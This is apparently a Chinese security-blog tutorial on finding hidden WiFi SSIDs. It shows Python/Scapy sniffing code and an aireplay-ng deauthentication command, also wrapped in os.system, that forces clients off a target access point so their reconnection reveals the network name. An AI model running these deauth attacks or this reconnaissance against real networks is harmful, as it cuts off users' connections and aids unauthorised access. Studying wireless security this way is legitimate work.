從WiFi萬能鑰匙導致密碼泄漏,到央視“315”晚會曝光無線的危險,到前幾天京東因無線密碼泄漏導致被內網(wǎng)漫游,讓我們不得不開始關注無線安全。因為一旦無線被破解,以目前的無線架構的特點來說,基本上就等于進了家門,危險程度還是很高的。
今天主要想跟大家聊聊如何找出隱藏無線SSID的。
0×00 ?說說已有的東西
如何找出隱藏無線熱點SSID不是一個新的話題,網(wǎng)上搜一下,這種教程也很多,不過大多數(shù)是需要借助一些工具比如wireshark或者CommView等來進行抓包操作輔助完成,大體的方式和流程是像這樣:
這樣:
這樣:
這樣:
這樣就找到了我們的無線熱點了。不多做解釋,需要的同學請自行百度。
其實這樣的方式也沒有什么不好的,因為我比較懶,所以有了這篇文章。
0×01 ?大體思路
思路是這樣的:
1、判斷周圍環(huán)境是否存在隱藏無線熱點 2、根據(jù)隱藏無線熱點特征獲取無線熱點的BSSID 3、使用aireplay對目標熱點進行攻擊使客戶端下線重連 4、重連過程中抓取包請求同時進行包過濾獲取有用信息 5、得到隱藏熱點的SSID
0×02 ?測試環(huán)境
慣例說一下測試環(huán)境:
系統(tǒng):?????Ubuntu14.04 Python版本:2.7.6 工具:????aircrack套(主要使用airmon-ng和aireplay工具)
0×03 啟用監(jiān)聽模式
首先我們需要把我們的網(wǎng)卡啟動到監(jiān)聽模式。這里就需要用到aircrack套件了。
使用以下命令開啟監(jiān)聽模式:
sudo?airmon-ng?start?wlan0
這里因為我需要最終寫到python中,所以使用了os.popen()函數(shù)來執(zhí)行這條命令。
貼上這部分python代碼:
#判斷是否開啟監(jiān)聽模式 ifa?=?os.popen('ifconfig??|?grep?mon0?|?cut?-d?"?"?-f?1') ifb?=?ifa.read() if?ifb?!=?'mon0\n': ????print?'正在開啟監(jiān)聽模式……\n' ????f?=?os.popen('airmon-ng?start?wlan0') ????f.read() ????f.close if?ifb?==?'mon0\n': ????pass ifa.close()
0×04 發(fā)現(xiàn)隱藏無線熱點
FreeBuf小知識
介紹這部分之前,我們需要首先了解一些關于嗅探到的包的信息,以便于我們后文可以對包進行過濾操作:
wlan.fc.type?==?0???????????管理幀(Management?frames) wlan.fc.type?==?1???????????控制幀(Control?frames) wlan.fc.type?==?2???????????數(shù)據(jù)幀(Data?frames) wlan.fc.type_subtype?==?0???關聯(lián)請求(Association?request) wlan.fc.type_subtype?==?1???關聯(lián)響應(Association?response) wlan.fc.type_subtype?==?2???重連請求(Reassociation?request) wlan.fc.type_subtype?==?3???重連響應(Reassociation?response) wlan.fc.type_subtype?==?4???幀請求(Probe?request) wlan.fc.type_subtype?==?5???幀響應(Probe?response) wlan.fc.type_subtype?==?8???信標(Beacon)
/FreeBuf小知識
因 為我們這里主要是為了發(fā)現(xiàn)隱藏的無線熱點,而隱藏SSID只能在連接請求和連接響應中獲取,但是連接請求中可能會出現(xiàn)我們不想要的內容(比如手機記憶的但 是非我們想要的SSID),所以這里我們主要用到type=0和type_subtype=8和type_subtype=5。而如果你是想要獲取周圍設 備所記憶的無線熱點名稱,則可以用subtype=4輔助發(fā)現(xiàn),這里我們不多做解釋。
接下來我將一步一步解釋我做這個時所遇到的問題。
首先,我們需要先發(fā)現(xiàn)周圍的無線熱點,發(fā)現(xiàn)無線的代碼如下:
def?PacketHandler(pkt): ????if?pkt.haslayer(Dot11): ????????if?pkt.type?==?0?and?pkt.subtype?==?8: ????????????if?pkt.addr2?not?in?aps: ????????????????aps.append(pkt.addr2) ????????????????cap?=?pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}{Dot11ProbeResp:%Dot11ProbeResp.cap%}") ????????????????if?re.search('privacy',?cap): ????????????????????a?=?'加密狀態(tài):Yes\t熱點BSSID為%s\tSSID為%s'%(pkt.addr2,?pkt.info) ????????????????????with?open('test.txt',?'a+')?as?t: ????????????????????t.write(a+'\n') ????????????????????print?a ????????????????else: ????????????????????b?=?'加密狀態(tài):No\t熱點BSSID為%s\tSSID為%s'%(pkt.addr2,?pkt.info) ????????????????????with?open('test.txt',?'a+')?as?t: ????????????????????t.write(b+'\n') ????????????????????print?b sniff(iface?=?'mon0',?prn?=?PacketHandler)
執(zhí)行之后的結果是這樣的
嗅探結果就是這樣的,可以看出周圍的無線環(huán)境比較復雜,小編能在如此復雜的網(wǎng)絡環(huán)境中保持一顆純真的童心,實屬不易。
細心的同學可能已經(jīng)發(fā)現(xiàn)了,這里的無線混入了一個奇怪的東西:
沒錯,這個空空的SSID就是我建的隱藏無線熱點,到這里就簡單啦,只要判斷SSID是否為空值就可以了,然后根據(jù)空值判斷出周圍存在隱藏無線,從而獲取到BSSID,好像很輕松嘛,可是事實真的如此嗎?
在我想要按照以上思路走的時候我才發(fā)現(xiàn)事實并非如此。用SSID為空的條件根本獲取不到任何東西,這就奇怪了,于是我將無線信息寫入到一個文本中,想看一下究竟發(fā)生了什么,結果如下:
終于恍然大悟,我解釋一下,看明白的直接略過這一步:
隱藏SSID的無線的SSID其實并非為空值,而是將所有的SSID字符以十六進制的0×00進行填充,因為我們的設備都無法正常顯示0×00這個值,所以看起來就像是空值。
知道了原因就好解決了,我使用了binascii庫進行了值的轉換,解決代碼如下:
if?binascii.hexlify(pkt.info)[:2]?==?'00':#判斷名稱是否為空 ????print?'發(fā)現(xiàn)隱藏無線熱點!?BSSID是?%s\n'?%pkt.addr2
因為我們無法確定目標熱點的SSID究竟使用了幾個字符,而一般的無線名稱是不會出現(xiàn)0×00這個值的,因此我切取了前兩個值進行判斷。
0×05 獲取BSSID并進行攻擊
獲取BSSID代碼如下:
if?binascii.hexlify(pkt.info)[:2]?==?'00': ????addr?=?pkt.addr2
好吧就是一個賦值操作(唉?誰扔的臭雞蛋?你出來?。?/p>
然后進行攻擊:
攻擊的過程實際就是向熱點發(fā)送deauth包,然后強制客戶端下線,這里我們使用aireplay,命令如下:
aireplay-ng?--deauth?0?-a?addr?mon0?--ignore-negative-one
執(zhí)行結果是這樣的:
攻擊一會兒我們的目的就達到了,然后手動停止攻擊,寫成python代碼如下:
os.system('aireplay-ng?--deauth?0?-a?'+addr+'?mon0?--ignore-negative-one')
但是需要注意的是,在我實際測試的過程中,即便是不進行攻擊操作也是可以獲取到SSID的,所以如果不是長時間無法獲取SSID,一般我們不用這個。
0×06 抓取過濾
接下來就是抓包時間,同時對抓到的包進行過濾處理,主要代碼如下:
if?pkt.haslayer(Dot11): ????if?pkt.addr2?==?addr: ????????try: ????????????#print?pkt.info#該行為調試行 ????????????if?binascii.hexlify(pkt.info)[:2]?!=?'00': ????????????if?pkt.addr2?not?in?aps2: ????????????????aps2.append(pkt.addr2) ????????????????cap?=?pkt.sprintf("{Dot11Beacon:%Dot11Beacon.cap%}{Dot11ProbeResp:%Dot11ProbeResp.cap%}") ????????????????print?'隱藏無線熱點名稱是:'+pkt.info+'\n' ????????????????if?re.search("privacy",?cap): ????????????????????print?pkt.info+'已加密' ????????????????else: ????????????????????print?pkt.info+'未加密' ????????????????print?'正在關閉監(jiān)聽模式……\n' ????????????????time.sleep(1)